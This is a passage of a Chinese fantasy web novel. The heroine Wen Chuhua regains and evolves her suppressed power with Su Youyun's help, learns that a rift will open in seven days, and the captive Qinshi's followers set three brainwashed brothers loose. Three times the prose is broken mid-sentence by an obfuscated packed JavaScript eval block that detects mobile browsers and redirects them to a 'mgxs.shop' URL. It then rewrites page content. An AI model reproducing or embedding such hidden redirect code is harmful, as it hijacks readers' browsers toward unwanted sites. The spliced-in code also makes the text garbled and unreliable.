她在□□的时候学过冥想,那是用来平复能力反噬的,现在她拿来感知能量。 五分钟。十分钟。半个小时。 什么也没有。鬼街的空气是空的,她的身体也是空的,像一口被抽干了水的井。 她坐了一个小时,腿麻了,腰酸了,什么都没感觉到。她骂了一声,倒头睡了。 第二天,她换了个姿势。 站着,双手自然下垂,眼睛半闭。 陈老板的摊子上有人这么站过,说是什么气功,能感应天地灵气。 温初花不信那套,但她现在什么招都愿意试。 站了二十分钟,腿不麻,腰不酸,但肚子饿了。她吃了碗面,回来继续站。又站了半个小时,还是什么都没有。 她开始怀疑自己的能力是不是真的被矿脉吸光了,一点不剩。 第三天,她把手伸出去,掌心朝上,像在接雨水。 她试着去感受空气中有没有能量在流动。 风从窗户缝里钻进来,凉丝丝的,拂过她的手指。但那不是能量,是风。 她能感觉到风的温度、速度、方向,但那不是她想要的。 她想要的是能量,是那种只有在异人体内才会流动的、被缚灵粒子压制了一辈子的东西。 没有。 第四天,她开始烦躁。 吃了早饭就回屋坐着,坐到中午,吃了午饭继续坐,坐到天黑。 她把自己关在屋子里一整天,除了上厕所没出过门。 小六来送过一次饭,敲了半天门她才开,脸色差得把小六吓了一跳。她接过饭盒,说了声谢,关上门,吃了两口就吃不下了。 不是因为饭不好吃,是因为胸口堵得慌。 那种堵不是身体上的堵,是——你明明知道前面有一扇门,但你在黑暗中摸了很久,手都磨破了,还是找不到门把手。 你不知道门存不存在,不知道门后面是什么,你只知道你得找到它,但你找不到。 第五天,她对着自己的手发脾气。 “你到底行不行?”她盯着自己摊开的掌心,那上面有茧,有疤,有这几天被指甲掐出来的红印。掌心什么都没有。她攥紧拳头,骨节咯咯响,又松开。 再攥紧,再松开。 她把手掌拍在桌上,啪的一声,震得桌上的搪瓷缸子跳了一下。 不行。 她趴在桌上,额头抵着冰凉的桌面。 木板上有陈年累积的油渍和划痕,一股淡淡的霉味钻进鼻子里。 她闭着眼睛,脑子里翻涌着各种念头——是不是我的能力真的没了?是不是在鬼街待太久,被矿脉吸干了?是不是我根本就不是预言里的那个人? 沈婆婆看错了,苏游云也看错了,所有人都看错了。我就是一个普通的、逃命的、连自己能力都保不住的废物。 她趴在桌上很久,久到窗外的光线从亮变暗,从暗变黑。她没有开灯,就那么趴着。 第六天,沈婆婆让小六带话,让她上楼吃饭。 温初花端着饭盒上去的时候,沈婆婆正在挑鱼刺。老人看到她的脸,筷子停了一下,然后继续挑。 温初花把饭盒放下,在对面坐下来,没说话。 沈婆婆也没说话。两个人安静地吃了一会儿,鱼肉被挑得很干净,一根细刺都没有。 沈婆婆把挑好刺的鱼肉夹到温初花碗里,动作很自然,像是做了很多遍。 “你这几天脸色不好。”沈婆婆终于开口了。 “没事。” “眼睛下面都青了。”沈婆婆看着她,“睡不着?” 温初花没接话。 她低头扒了一口饭,嚼了两下,咽下去。 米饭是温的,软硬刚好,但她吃不出味道。 她放下筷子,看着碗里那块被挑好刺的鱼肉。鱼肉白嫩嫩的,泛着油光,上面撒了几粒葱花,看着就很有食欲。 但她没有动筷子。 “沈婆婆,”她说,“我试了好几天了。什么都感觉不到。” 沈婆婆没有接话。 “你说裂缝之前矿脉的能量场会发生剧烈变化,可以被感知到。但我什么都感觉不到。我的手伸出去,只能摸到空气。我的身体里什么都没有,空的,像被人掏干净了。” 温初花的声音很低,低到像在跟自己说话,“我不知道是因为我的能力真的没了,还是因为我本来就不是那个人。” 沈婆婆放下筷子,端起了水杯,没有喝,就那么端着。 “你觉得自己不是那个人?”沈婆婆问。 “我不知道。”温初花说,“我只知道我做不到。” 沈婆婆沉默了。 窗外的风吹得竹叶沙沙响,那种声音从远处传来,像海浪拍打礁石。墙上的山水画又晃了一下,镜框缺角的地方在墙上投下一小块奇怪的影子。 “初花,”沈婆婆开口了,声音不大,但每个字都很清楚,“你来鬼街多久了?” “快四个月了。” “这四个月里,你受了多少次伤?” 温初花想了想。“记不清了。” “你被人追杀过多少次?” “记不清了。” “你杀过多少人?” 温初花沉默了一会儿。“记不清了。” 沈婆婆点了点头。“你都记不清了。但你还坐在这里,还在吃饭,还在说话,还活着。”她放下水杯,看着温初花的眼睛,“你觉得一个做不到的人,能在鬼街活四个月吗?” 温初花张了张嘴,又闭上了。 “你做得到,”沈婆婆说,“你已经做到了。你只是还没做到你想做的那件事。但那是两回事。” 温初花低下头,看着碗里那块鱼肉。白嫩嫩的,泛着油光,葱花绿得像刚从地里拔出来的。她夹起来,放进嘴里,嚼了嚼。鱼肉很嫩,几乎不用嚼就化开了。味道很好,但她吃不出来是什么味道。 沈婆婆没有再说话。她端起水杯,慢慢地喝了一口,然后把杯子放回桌上。杯底磕在木头上,发出一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571609|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉闷的响,像什么东西落了地。 温初花把那碗饭都吃完了,连鱼肉带米饭,一口不剩。她把碗筷收拾好,站起来,端着托盘往门口走。走到门口的时候,她停了一下。 “沈婆婆。” “嗯。” “谢谢你。” “谢什么?” 温初花没有回答。她推开门,端着托盘走了出去。走廊里的灯还是坏的,月光从拐角那扇破窗户照进来,把楼梯切成明暗相间的条纹。 她走在那些条纹上,一步明,一步暗,脚步声在空荡荡的楼梯间里一下一下地响着。 回到屋里,她没有坐回床上。她站在屋子中央,把手伸出去,掌心朝上。 闭上眼睛。 风从窗户缝里钻进来,凉丝丝的,拂过她的手指。她不去管风。 她用意识去探,去摸,去黑暗中寻找那一丝可能根本不存在的能量。她的胸口深处,有什么东西在微微发烫。不是能力,不是能量,是——一种执念。 一种不肯认输的、不服气的、不愿意就这么算了的执念。 她站了十分钟。二十分钟。半个小时。 什么都没有。 她的手放下来了。像一根绷了太久的弦终于断了,突然失去了所有力气。 她靠在墙上,后脑勺抵着冰凉的水泥,眼睛盯着天花板上那道裂缝。 裂缝还是老样子,歪歪扭扭的,像一个在问她“你怎么还活着”的问号。 她看着那道裂缝看了很久。 然后她站直了身子,走到门口,拉开门,走了出去。 走廊对面,苏游云的门关着。门缝底下透出一线光。她站在那扇门前,抬起手,想敲门。手指在距离门板一寸的地方停住了。 她在想——我凭什么去找他?他说过他能帮我吗?我连自己的能力都找不到了,我有什么资格让人家帮忙? 她把手放下来。 站了一会儿,又抬起来。 这一次,她敲了。三下,不轻不重。 门开了。 苏游云站在门口,穿着那件深灰色的薄外套,跟第一次见面一样。 他看了温初花一眼,目光从她的脸上扫到她的手上,从手上扫到她的眼睛。 “怎么了?”他问。 温初花看着他。他的眼睛在昏黄的灯光下显得很深,瞳孔比平时大了一圈。 那双眼镜片后面的眼睛平静得像一潭死水,但她在那潭死水底下看到了什么——不是关心,不是好奇,是一种——等着。 好像他一直在等这扇门被敲响,等了很久。 “我试了好几天了,”温初花说,声音有些哑,“什么都感觉不到。” 苏游云没有说话,也没有让开。 他就那么站在门口,隔着半步的距离,看着她。 月光从拐角那扇破窗户照进来,落在她的肩上,落在他的脸上。 “你能不能帮我?”温初花问。 这句话说出口的时候,她觉得自己好像把什么东西放下了。 很重的东西,她扛了很久,久到她已经忘了是从什么时候开始扛的。 现在她把它放在地上,放在苏游云面前,等着他接过去,或者不接。 苏游云看着她。 “进来吧。”他说,侧身让开了门。 26. 轻松达成 苏游云静静地听她说完,沉默了一会儿,然后转身走到墙角,打开了那个黑色金属箱子。 箱子亮了一下,扫描了他的掌纹和虹膜,锁开了。 里面整整齐齐地排列着几支玻璃瓶,拇指粗细,瓶口画着一个符号——圆圈中间一道横线。他取出一支,关上箱子,走到温初花面前。 “这个药剂,”他说,“可以暂时在你的体内创造一个‘通道’,让被压制的能力有一个释放的出口。” 温初花看着那支透明的液体。“你之前给我治腿的时候,用的就是这个?” 苏游云点了一下头。 “它不会伤害我?” “会有一点副作用。头痛,恶心,可能还有短暂的能力失控。”苏游云看着她的眼睛,“但你是我见过最能扛的人。你能撑过去。” 温初花盯着他看了两秒,然后伸出手,把袖子撸了上去。 苏游云的针头扎进她小臂内侧的血管时,她感觉到一股冰凉的液体顺着血管往心脏的方向流去。那股凉意像一条蛇,从手臂爬到肩膀,从肩膀爬到胸口,然后在胸口炸开——不是疼,是麻,像整条脊椎被人从身体里抽出来,泡在冰水里,再塞回去。 她的手指开始发抖。 “正常反应。”苏游云说,把针管收起来,扶她在椅子上坐下。 那股麻意从胸口扩散到四肢,她的手指、脚趾、嘴唇都在发麻,像全身的神经都被泡在了薄荷水里。她闭上眼睛,试着去感受——这次不一样了。 她感觉到了。 在身体的最深处,在骨头和骨头的缝隙里,有一团微弱的光。那团光很小,小得像一根快要燃尽的蜡烛,但它确实存在。那是她的能力。 被锁了快五个月的、被矿脉反复抽取的、她以为已经消失殆尽的能力。 它还在。 温初花睁开眼睛,看着自己摊开的双手。 掌心里什么都没有,但她的手指尖有一种微微的刺痛感,像是有电流在皮肤下面窜动。 “你感觉到了?”苏游云问。 她点了一下头。 从那天起,苏游云每天给她注射一次药剂。每次注射之后,她体内的那团光就会亮一些,从蜡烛变成油灯,从油灯变成手电筒。 她开始能在药剂生效的那几个小时内感知到周围空气中的能量——虽然很微弱,但确实存在。 鬼街的能量场不是空的,是被矿脉吸空了。 但在药剂的作用下,她能感知到那些能量被吸走的方向、速度、节奏。 头几天,每次药效消退之后,她都会头痛欲裂,恶心到吃不下东西。 有一次她在陈老板的摊子上吃面,吃到一半忽然胃里翻涌,跑出去吐了个干净。陈老板追出来问她怎么了,她摆了摆手说没事,擦擦嘴回去继续吃。 小六在旁边看着,嘴张了又合,没敢问。 苏游云每次都会在她药效消退后给她做一次身体检查。 用银针,用那种悬在皮肤上方的方式。温初花能感觉到那股暖流在他指尖和她身体之间流动,像一条看不见的线,把她体内那些散落的能量碎片一点一点地缝合起来。 “你的身体在适应。”苏游云说,“很快你就不需要药剂了。” 第十一天。 药剂注射后,温初花没有坐在椅子上等那股麻意过去。她站起来,走到屋子中央,张开双手,闭上眼睛。 那团光已经变成了一团火。 不大,但很亮,在她的胸口深处燃烧着。她试着去触碰它,用手指、用意识、用那股从药剂中获得的、不属于她自己的力量。 火跳了一下。 她睁开眼睛,看着自己摊开的掌心。 这一次,她看到了。 不是幻觉,不是错觉,是一小缕黑色的、像烟又像雾的东西,从她的掌心里飘起来,在空中盘旋了半秒,然后散开了。 她不知道那是什么,但她感觉到了——那是缚灵粒子。 她吞噬了一小撮缚灵粒子。 不是能量,是缚灵粒子本身。 那种在外面世界压制所有异人、在鬼街吸走所有人能力的缚灵粒子。 温初花愣在原地,盯着自己空荡荡的手掌。 那一小缕黑烟已经散了,空气中什么都没有了,但她的手指还在微微发烫,像刚握过一团火。 掌心深处有什么东西在跳动,不是心跳,是另一种频率的振动,像一根琴弦被人拨了一下,余音在骨头里回荡。 苏游云站在她身后,没有说话。 温初花转过身看着他。她的脸上没有兴奋,没有恐惧,只有一种说不清道不明的表情。 “我吞了那种东西。”她说。 苏游云看着她,那双眼镜片后面的眼睛,轻轻地亮了一下。 “你的能力在进化,”他说,声音比平时低了一些,“从吞噬能量,变成吞噬缚灵粒子本身。” 温初花低下头,又看了一眼自己的手心。 皮肤上什么都没有,没有烧伤的痕迹,没有淤青,没有红肿。 但她能感觉到,那股被她吞进去的缚灵粒子没有消失,它在她体内盘旋着、游走着,像一条被关进笼子里的蛇,找不到出口,只能在有限的空间里来回冲撞。 它和她体内的那团火产生了某种共鸣,像两个频率相同的音叉,一个被敲响了,另一个跟着振动。那种感觉很奇怪,不是疼,不是痒,是——在生长。 有什么东西在她体内生长,从骨头缝里、从血管壁里、从每一个细胞的最深处,慢慢地、不可阻挡地长出来。 她握紧了拳头,那股感觉沉了下去,像一条蛇钻进了泥土里,不见了。 但它还在,她能感觉到它还在。 “这意味着什么?”她问。 苏游云沉默了片刻。“意味着你能在鬼街使用能力了。不是被压制的、被削弱的能力,是进化后的、专门针对缚灵粒子的能力。” “我能用它做什么?” “感知裂缝。如果你能吞噬缚灵粒子,你就能感知到它们的流动。矿脉的裂缝出现之前,缚灵粒子的流动会发生剧烈变化。你能感知到那种变化,就能提前知道裂缝出现的时间和位置。” 温初花看着自己的手。她把五指张开,又合拢,再张开。 掌心里什么都没有,但她的指尖有一股微微的刺痛感,像是有电流在皮肤下面窜动。 那股电流在指腹上跳动着,频率很快,快到几乎无法捕捉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574451|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那需要多久?”她问。 苏游云走到她面前,把她的手握住了。 他的手掌干燥、温热,五指扣住她的手腕,拇指按在她的脉搏上。 她的心跳很快,他能感觉到。 “你已经迈出了最难的一步,”他说,“剩下的只是时间。” 温初花低头看着他的手。他的手指很长,骨节分明,指甲修得很整齐。 这双手不像是握刀的手,更像是握笔的、数钱的、弹琴的。但她见过这双手握刀的样子,快、准、狠,像毒蛇吐信。 “你为什么要帮我做这些?”她问,声音比平时低了一些,“你不是异人,这些事跟你没有关系。你拿了药剂、进了鬼街、每天帮我注射、帮我检查身体——你图什么?” 苏游云松开她的手腕,退了一步。他的表情没有变,还是那副没什么表情的样子,但他的手——垂在身侧的那只手——手指微微蜷了一下。 很细微,细微到普通人根本注意不到。 “因为你是温初花。”他说。 温初花愣了一下。“什么?” “不是因为预言,不是因为你能改变什么。” 苏游云看着她,那双眼镜片后面的眼睛里有一种她没见过的东西,不是平静,不是审视,是某种更柔软的、像月光一样的东西,“是因为这三个月里,我看到的你。被打倒就爬起来,被捅刀就咬着牙还手,没钱就去抢,饿了就去吃,从来不问‘为什么是我’。是你这个人,不是你的能力,不是你的身份。” 温初花张了张嘴,想说点什么,但嗓子像被什么东西堵住了。 她清了清嗓子,把目光从他脸上移开,落在窗外那片漆黑的夜色里。 “……你这人说话真的很肉麻。”她说。 苏游云的嘴角微微动了一下。 “我只是在陈述事实。” 温初花哼了一声,没有接话。她转过身,走到窗边。窗外的天已经黑了,月亮被云层遮着,整条巷子都是暗的。远处那道拱门的轮廓在黑暗中几乎看不清,只有那片浓雾在微微发光。 她站在那里,背对着苏游云,嘴角压了很久,最终还是没压住。 “苏游云。” “嗯。” “谢谢你。” 身后沉默了片刻。 “不用谢。” 温初花的嘴角微微动了一下。她没有笑,但她的嘴角确实动了一下。 她转身走回屋子中央,重新坐下来,盘起腿,闭上眼睛。 那团火还在她的胸口燃烧着,不大,但很亮。她伸出手,试着去感知那团火周围的缚灵粒子。空气中什么都没有,但在她的感知里,有一层薄薄的、像纱一样的东西,覆盖在一切事物的表面。那是缚灵粒子,矿脉散发出来的缚灵粒子。 她伸出手,像抓住一缕烟一样,抓住了一小撮。 黑烟从她的掌心飘起来,盘旋,然后散开。 她没有睁开眼睛,但她笑了。这次是真的笑了。 不是那种大大咧咧的笑,是很轻很淡的、只有嘴角微微上扬的那种笑。 苏游云站在她身后,看到了。 他没有说话,只是站在那里,像一堵沉默的墙,替她挡着身后所有的风。 27. 还有七天 接下来的七天,是鬼街从未有过的七天。 温初花白天照常出现在街上,去陈老板的摊子吃面,去老周的铁匠铺转一圈,跟姓赵的交代几句,偶尔在十字路口的台阶上坐一会儿,跟路过的街坊打个招呼。 看起来跟平时没什么两样。 但到了晚上,她会走进苏游云的屋子,关上门,拉上窗帘,在昏黄的灯光下,把手伸出去,掌心朝上。 苏游云坐在她对面,隔着一步的距离。他不需要做任何事,只需要在那里。他的存在本身就是一种稳定——温初花说不清那是什么,但当他坐在对面的时候,她的感知会变得比独自一人时更敏锐。 不是因为药剂,不是因为能量,是因为——有人在旁边。 有人看着,有人等着,有人在她说“我什么都感觉不到”的时候,会回答一句“不急”。 第一天晚上,她坐了一个小时,什么都没感觉到。 她没有烦躁,没有失望,只是睁开眼睛,看了苏游云一眼。 苏游云什么都没说,她也没说什么,站起来走了。 第二天晚上,她坐了四十分钟,感觉到了一丁点东西。 不是能量,是温度的细微变化。 她的左手掌心比右手掌心暖和了半度——不仔细感受根本察觉不到。 她睁开眼睛,看着自己的手,又看着苏游云。 “左手的温度变了。”她说。 苏游云点了一下头,没有夸奖,没有鼓励,只是点了一下头。 温初花反而觉得这样更好,她不需要被人夸,她需要的是确认——确认她感受到的是真的,不是错觉。 第三天晚上,她感觉到了缚灵粒子。 不是看见,不是触摸,是——像有人在她面前点燃了一根看不见的蜡烛,她的皮肤能感觉到那股微弱的热度,她的指尖能感觉到那股细微的振动。 她把双手摊开,放在膝盖上,闭着眼睛,感受那股振动从指尖传到手掌,从手掌传到手腕,从手腕传到小臂。 它很微弱,微弱到她必须屏住呼吸才能不把它漏掉。 但她感觉到了。 第四天晚上,她试着去吞噬那一小撮缚灵粒子。 黑烟从她的掌心飘起来,盘旋了半秒,然后散开了。 苏游云看到了,温初花也看到了。 她睁开眼睛,看着自己空荡荡的手掌,嘴角动了一下,没有笑,但她确实动了。 第五天,第六天。 她越来越熟练,吞噬的量从一小撮变成了一小团,黑烟在掌心盘旋的时间从半秒变成了一秒。 她的身体开始适应这种吞噬,副作用越来越轻,头痛从持续整天变成了只持续几个小时,恶心从呕吐变成了只是反胃。 第七天。 她能稳定地吞噬缚灵粒子了。 量不大,速度不快,但每一次都能成功,没有失败。 她不需要再用尽全力去抓,只需要伸出手,像抓住一缕烟一样自然地握住,那股黑色的、无形的缚灵粒子就会在她的掌心聚集、盘旋、消散。 变化是从第三天开始的。 老周最先感觉到了什么。那天下午他在铁匠铺门口坐着,胳膊上的伤还没好利索,吊着绷带,嘴里叼着烟。烟雾从鼻孔里喷出来,慢悠悠地往上飘,飘到半空忽然散了。 不是被风吹散的,是——他自己也说不上来,就是散了,散得比平时快。 他看着那些烟雾散开的方向,皱了皱眉,没当回事。 方敏是第二个。 她在街头分发物资的时候,忽然停下来,抬头看着天。 天还是那片天,灰蒙蒙的,没有太阳也没有云。但她觉得有什么东西不一样了,说不上来,就是不一样了。 像你住了一辈子的屋子,每天推门进去都是同样的味道,今天推门进去,味道变了。 不是变好或变坏,就是变了。 她在原地站了几秒,旁边的人问她怎么了,她摇了摇头,继续发物资。 琴师感觉到了。 他被关在老周铁匠铺后面的空屋子里,跟疯子三兄弟关在一起,但不在同一间。 疯子三兄弟可以自由出入,但他不行。 不过他也不在意,他在等待一个机会,只要抓住这个机会,他就能从这鬼街里出去。 他的屋子里只有一扇巴掌大的窗户,透进来一线光。 他坐在地上,背靠着墙,闭着眼睛——他一直闭着眼睛,二十年来都是这样。 但这几天,他的眉头开始皱起来。 第七天晚上,灰衣年轻人被押着给他送饭的时候,琴师忽然开口了。 “空气在流动。” 灰衣年轻人愣了一下,看着四周。门窗都关着,没有风,空气是静止的。他不明白琴师在说什么。 琴师没有再说话。 他靠在墙上,那双闭着的眼睛对着窗户的方向,脸上的肌肉微微抽动着。 他感觉到了。 鬼街的空气二十年没有流动过了。缚灵粒子的压制让整条街像一潭死水,连风都带着停滞的味道。 但这几天,那潭死水的表面泛起了涟漪。 很细微,细微到普通人根本察觉不到,但他不是普通人。 他在鬼街待了二十年,这条街的每一次呼吸他都能感觉到。 有人在动摇鬼街的根基。 琴师的嘴角慢慢上扬。 他已经被困在牢里二十年,现在忽然听到墙壁传来凿击声,虽然不知道是谁在凿,不知道是从里往外凿还是从外往里凿,但只要有人在凿就够了。 他没有告诉灰衣年轻人。他 把那个感觉咽了下去,咽到肚子里,藏起来,等着以后用。 第八天清晨,温初花被小六的敲门声吵醒。 最近小六一直勤勤恳恳地来给她送早饭。 她打开门,跟小六打了声招呼,接过饭盒。 但这次小六站在门口没走,犹豫了一下。 “温姐,你有没有觉得……最近鬼街好像不太一样?”小六说。 温初花啃了一口馒头。“哪里不一样?” “说不上来。”小六挠了挠头,“就是感觉……好像没那么闷了。以前总觉得喘不上气,这几天好像好了一点。” 温初花嚼着馒头,没说话。 她早就发现了,在她第一次做到吞噬缚灵粒子的时候。 但这种事她没打算告诉小六。 有些事情知道的人越少越好。 吃完早饭,她上了五楼。 沈婆婆坐在桌边,面前摆着一壶茶和一只空杯子。 看到温初花进来,她倒了一杯茶,推到她面前。 温初花坐下来,端起茶杯喝了一口,茶是温的,不烫嘴。 “你感觉到了?”沈婆婆问。 温初花点了一下头。“我能稳定地吞噬缚灵粒子了。量不大,但每一次都能成功。” 沈婆婆沉默了一会儿,然后点了点头,像是确认了一件等了很久的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576718|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的手指在杯沿上慢慢地画着圈,一圈,两圈,三圈。 窗外的光线从云层后面透出来,灰蒙蒙的,照在墙上那幅山水画上。 “初花,”沈婆婆的声音比平时低了一些,“根据我的推算,七天后的夜晚,矿脉会出现一次较明显的能量裂缝。” 温初花的手指在茶杯上停住了。 她没想到机会来得这么快,她都已经做好等待几年,甚至几十年的准备了。 “这是最近的机会,”沈婆婆抬起头看着她,那双浑浊的老眼里头有一种说不清道不明的东西,“距离下一次裂缝,可能要等很久。” 很久是多久?温初花没有问。沈婆婆没有说。但两个人都知道,“很久”在鬼街的语境里,可能是几个月,可能是几年,可能是永远。 温初花端着茶杯,没有喝。 茶水从杯壁传过来的温度烫着她的指尖,她没有松开。 “七天后的哪个时间?” “夜晚。具体时辰无法确定,误差可能在几个时辰之内。” 温初花把茶杯放下,站起来,走到窗边。 窗外是灰蒙蒙的天,灰蒙蒙的屋顶,灰蒙蒙的巷道。远处那道拱门的轮廓在雾气中若隐若现,像一张闭了很久的嘴。 七天。 她还有七天。 她转过身,看着沈婆婆。“我需要做什么?” 沈婆婆也站了起来,拄着拐杖,一步一步地走到她面前。 老人比她矮了半个头,仰着脸看她,那双浑浊的老眼里头,有一种温初花从来没有见过的光——不是慈祥,不是关切,是一种更重的东西,像是把所有的筹码都推到桌子中央,等着开牌。 “七天后,你要站在拱门那里。”沈婆婆说,“裂缝出现的时候,用你的能力吞噬尽可能多的缚灵粒子。矿脉的能量场会因此产生紊乱,屏障会变弱。苏游云会通知外面的人发射能量脉冲,把裂缝撕开一个口子。” “口子能维持多久?” “几秒钟。” “我能带人出去吗?” 沈婆婆看着她,没有回答。 温初花知道那个答案。几秒钟,只能容一个人穿过。她可以带人,但带不了所有人。她可以带一个人——沈婆婆、苏游云、老周、小六——但只能带一个。选择谁?她不知道。她不敢想这个问题。 她站在窗前,看着远处那道拱门,看了很久。 “我知道了。”她说。 她没有再多说。转身走出了沈婆婆的屋子,走下楼梯。经过三楼的时候,她在苏游云的门口停了一下。门关着,门缝底下没有光。她抬起手,想敲门,又放下了。 不是现在。她还有七天。 她需要想一想。很多事情都需要想一想。 回到屋里,她坐在床上,把匕首从枕头底下抽出来,握在手心里。 刀柄上的凹槽贴合着她的掌心,冰凉的金属在她的体温下慢慢变暖。她在黑暗中坐了很久,没有开灯,也没有闭上眼睛。 七天。 她不知道七天后的那个夜晚会发生什么。不知道那道裂缝会不会真的出现。不知道能量脉冲能不能成功。不知道她能不能从那扇门穿过去。 但她知道一件事。 七天后的夜晚,她会站在拱门那里。 不是因为预言,不是因为使命,不是因为任何人。 是因为她想活着离开这里。 不是苟且地活着,是真正地、自由地、不用再把匕首藏在袖子里的那种活着。 28. 又打算搞事 疯子三兄弟被关在铁匠铺后面的空屋子里。 门没有上锁。 温初花说过不用锁,小六就没敢锁。但三兄弟没有跑。 老大每天坐在角落里,铁链解了,铁疙瘩搁在身边,偶尔拿起来掂两下,又放下。 老二靠着墙,闭着眼睛,不知道是在睡觉还是在想事情。 老三蹲在窗户底下,手指在地上画圈,嘴里念念有词。 他们不跑,不是不想跑,是在等。 等一个声音。 琴师在收编他们的时候,就在他们的脑子里种下了东西。 他说一句话,他们会听。他说一个字,他们会动。 他说的那句话是:“没有我的命令,你们哪都不去。” 三兄弟不是被锁链关住的,是被那句话关住的。 温初花解开他们手上的铁链,但她解不开琴师种在他们脑子里的那道锁。 灰衣年轻人被关在隔壁。 他的待遇比三兄弟好一些——有一张木板床,一床被子,每天两顿饭。但他的门是锁着的,从外面锁的。方敏亲自看的门,钥匙挂在自己腰上。 某一天夜里,灰衣年轻人听到了三声敲墙的声音。 不是从隔壁传来的,是从外面。有人在铁匠铺后面的巷子里,敲了三下墙壁。 灰衣年轻人从床上坐起来,没有动。 他等了片刻,又听到了三声,这次更轻。 他从床上下来,走到墙边,把耳朵贴在冰凉的水泥墙面上。 外面的人在说话。声音很小,小到几乎听不见,但灰衣年轻人听清了。 “今晚。” 只有两个字。 灰衣年轻人退后一步,站了片刻,然后走到门口,从门缝里往外看了一眼。走廊里没有人。值班的小六在铁匠铺前面打盹,铁匠铺后面的院子里空荡荡的,月光照在青石板上,白惨惨的。 他回到墙边,用手指在墙面上敲了两下。 回应了。 外面的声音又响起来了,这次是一串很短的句子,像是提前背好的。 “疯子三兄弟的引子在你手里。用那个。我们会在外面接应。” 灰衣年轻人的手在墙上停了一下。 引子? 琴师被带走之前,给过他一个东西。 一个用布包着的、拇指大小的东西,说是“万一有事”的时候用的。 他一直没有打开看过,但他知道那是什么——琴师种在三兄弟脑子里的那道锁的钥匙。 不是打开锁的钥匙,是激活锁的钥匙。 琴师不在的时候,只要有人用那个东西发出特定的声音频率,三兄弟就会动。 不是为了保护谁,是为了——破坏。 灰衣年轻人转过身,走到床边,蹲下来,从床板底下摸出了那个布包。 他打开布包,里面是一个拇指大的黑色圆片,跟传信器很像,但更薄,表面没有按钮,只有一个小小的凹槽。 他把它握在手心里,手指能感觉到它微微发烫。 这是琴师最后的底牌。 他等了半个时辰。等小六的鼾声响了,等铁匠铺里的炉火彻底灭了,等月光从窗缝里移到了墙角。 然后他把那个圆片贴在墙上,用拇指按住了凹槽。 圆片亮了一下,发出一声极低极长的嗡鸣。那声音低到人耳几乎听不见,但灰衣年轻人的牙齿被震得发酸。他松开拇指,圆片灭了。他又按了一下,又一声嗡鸣。一共三下。 隔壁,老三第一个站了起来。他的手指张开,长指甲在黑暗中闪着暗光,喉咙里发出低沉的、像狗一样的咕噜声。他的眼睛亮了,不是正常的那种亮,是——像一盏被人突然拧开的灯,光从瞳孔深处射出来,亮的不是地方。 老大的手摸到了铁疙瘩。铁链哗啦一声,他站起来的时候,铁疙瘩拖在地上,划出一道白痕。老二的铁拳套不知道什么时候已经戴好了,钢钉在月光下亮了一排。 门没有锁。 老三第一个推开门,走进了走廊。老大跟在后面,老二最后。 三个人排成一列,脚步很轻,轻到几乎没有声音。他们穿过走廊,经过灰衣年轻人的门口时,谁都没有往里看一眼。 灰衣年轻人也没有看他们。他靠在墙上,手里攥着那个已经暗下去的圆片,听着三个人的脚步声一步一步地远去,然后从铁匠铺的后门,消失在了巷子的黑暗中。 他们去了哪里?灰衣年轻人不知道。琴师没有告诉他。 琴师只说了一句话:“他们会去找她。在最重要的那天晚上。” 灰衣年轻人闭上了眼睛。他知道琴师说的“最重要的那天晚上”是哪天。不是今天,是那天。是温初花以为一切都在掌控之中的那天。 与此同时,铁匠铺前面,小六翻了个身,嘟囔了一句梦话,又睡过去了。他什么都没有听到。 第二天早上,方敏来送饭的时候,发现隔壁的门开着,三兄弟不见了。她站在门口,看着空荡荡的屋子,脸色白了一瞬,然后转身跑去找温初花。温初花正在吃面,听了方敏的话,筷子停了一下,然后继续吃。 “什么时候的事?” “今早。昨晚小六还在,今早人就不见了。” 温初花把最后一口面扒拉进嘴里,放下碗,擦了擦嘴。“门锁了吗?” 方敏愣了一下。“……没有。你说过不用锁。” 温初花沉默了片刻。她确实说过不用锁。她以为三兄弟被她收服了,以为他们不会跑。她错了。她站起来,拍了拍裤子上的灰。 “琴师那边呢?” “还在。” 温初花想了想。“把琴师换地方。换到老周铺子隔壁的地下室去。没有我的命令,谁都不许靠近。” 方敏点了点头,转身走了。 温初花站在摊子前,看着巷口那棵歪脖子的行道树,叶子半死不活地耷拉着。她把袖子里匕首的刀尖弹出来看了一眼,又收了回去。 三兄弟跑了。在这时候跑。 她不知道他们会做什么,但她知道一件事——他们不是自己跑的。 有人在背后推了一把。而那个人,只能是琴师。 她抬头看了一眼三楼那扇窗户。窗帘拉着,灯亮着。 苏游云在屋里,她今天还要去找他确认外部部署的事情。 但现在,她需要先处理琴师。 温初花转身朝老周的铁匠铺走去。脚步不快不慢,每一步都踩得很实。 